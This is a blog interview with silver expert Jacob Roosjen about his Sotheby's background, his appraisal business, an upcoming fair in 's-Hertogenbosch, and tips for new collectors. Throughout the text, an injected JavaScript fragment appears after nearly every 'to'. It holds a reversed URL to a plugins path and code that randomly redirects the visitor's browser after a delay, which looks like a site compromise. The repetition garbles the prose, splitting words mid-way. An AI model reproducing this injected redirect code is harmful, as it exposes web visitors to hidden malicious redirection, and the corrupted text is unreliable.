Antiques Diva Interview with Silver Expert Jacob Roosjen

Dear Diva Readers,

Today I’m delighted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to share with you an Antiques Diva Interview with world-renowned silver expert Jacob Roosjen.

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You are one of the leading experts of silver in the world – could you tell me a bit about your background?

Jacob Roosjen:
At a very young age I developed an interest in silver objects which I happened toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to see in our home, in museums we visited and in church. Initially I was trained as a silversmith, mastering the techniques. Apparently, this was not enough for me. The histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory of the objects, the maker’s marks, the styles, the provenance appealed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to me, so eventually I decided toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to specialize in this area. Some 20 years ago, after I had become a registered appraiser (valuer) in Silver and Jewellery, Sotheby’s asked me toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to join the company. I have been working as a Directoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor of the Silver department for this international auction house until recently.

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And now you’ve gone intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to private practice – could you tell me what services you offer in your business?

Jacob Roosjen:
Yes, I have my own company and I started the Silver Research Institute. As a registered appraiser in Silver and Jewellery, I do valuations for private persons, companies, museums, insurance companies, auction houses etc. Other aspects of my work are advising clients, giving expertise, a second opinion and writing reports about specific objects after research. I am also a dealer now, for I buy and sell silver items in particular. Recently, I was asked toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to teach a group of interested people, who are already in the trade, about maker’s marks and different styles. And last but not least I can do restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torations, but they can be very time consuming. In the past I built up an extensive collection of books on the subject and my files are huge, which is very helpful now.

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Rumor has it you’re going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be exhibiting in April at Holland’s AFSH (Art and Antiques Fair in Den Bosch). I’m certain you’ve set the antiques world a tremble – certainly Europe will feel that Ali Baba’s cave has been opened toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the public. Could you tell me about a few of your pieces you will offer at the fair?

Jacob Roosjen:
I’ll be one of the participants of the Art and Antiques Fair in ‘s Hertoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}togenbosch from 18 till 25 April. I used toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be a member of the vetting committee of this fair, but this year I will be a participant. To give you an impression of the items that are for sale: a pair of Dutch silver biscuit boxes, an 18th century silver toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobacco jar, silver candlesticks, a silver filigree casket containing three tea boxes, 17th century silver scissors cases, and an Olympic silver beaker, which can be used as a vase!

AD:
It sounds oh so diva-worthy! Last year Ben Janssens, Chairman of TEFAF’s Executive Committee, said: “There is no evidence that the jittery financial markets have discouraged art buyers and in fact the reverse seems toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be true. Visitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors said toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to me that they see no point in investing in stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tocks at the moment and prefer toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to put their money intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to art and antiques.” Does this same hold true for silver? Would you say silver is a good investment in these times of economic peril? If so, why?

Jacob Roosjen:
Investing in silver objects is definitely more glamorous than investing in stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tocks and shares, which did not so well lately. The silver market is a rather stable market. I’m sure you know that silver, like gold, has an intrinsic value toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too. Apart from that, you can enjoy your purchases by placing them on your table or displaying them in a cabinet. Although there are still people who want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to put their purchases in their safe straight away and save them for “a rainy day”.

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Now, I must admit – I love the shine of silver, but I always find silver a tad intimidating. As a silver expert, what would you tell novice buyers toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to look for in determining quality in silver? Are there any “starter” pieces you would recommend for someone wanting toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to dip their toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toe intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the silver world?

Jacob Roosjen:
Indeed, go for quality, I’d advise you. This does not mean that you should go for the most expensive items. The rarer the items, the more expensive they will be. But a good set of candlesticks, handmade preferably, or a nice basket which you can use, is a start. You can always sell them, for there will always be a market for such items. There are people who look for certain masters and select on maker’s mark only. There are others who collect Dutch or English silver only. Some collect antique miniatures, others teapots from a certain era. A myriad feathered flock, these silver buyers. Don’t hesitate toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to asks experts, like me, for advice. There is a lot toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to learn and a lot of information toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to share.

AD:
Jacob, I am so honoured you’ve taken the time toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do this Antiques Diva interview! Each time we’ve spoken you’ve wowed me with your knowledge & expertise. Do you have anything else you’d like toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to tell Diva-Readers about you, your business or this upcoming antiques fair?

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Why not come and meet me at the Art and Antiques Fair in ‘s Hertoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}togenbosch? Check the website for details. You can also visit my websites for further details about me www.jacobroosjen.com and www.silverreseachinstitute.com. Both websites are still under reconstruction, but the essential information is on them.

Until Next Time,

The Antiques Diva™

P.S. To Read past Diva Posts on the sensational art and antiques fair Jacob Roosjen was talking about click here!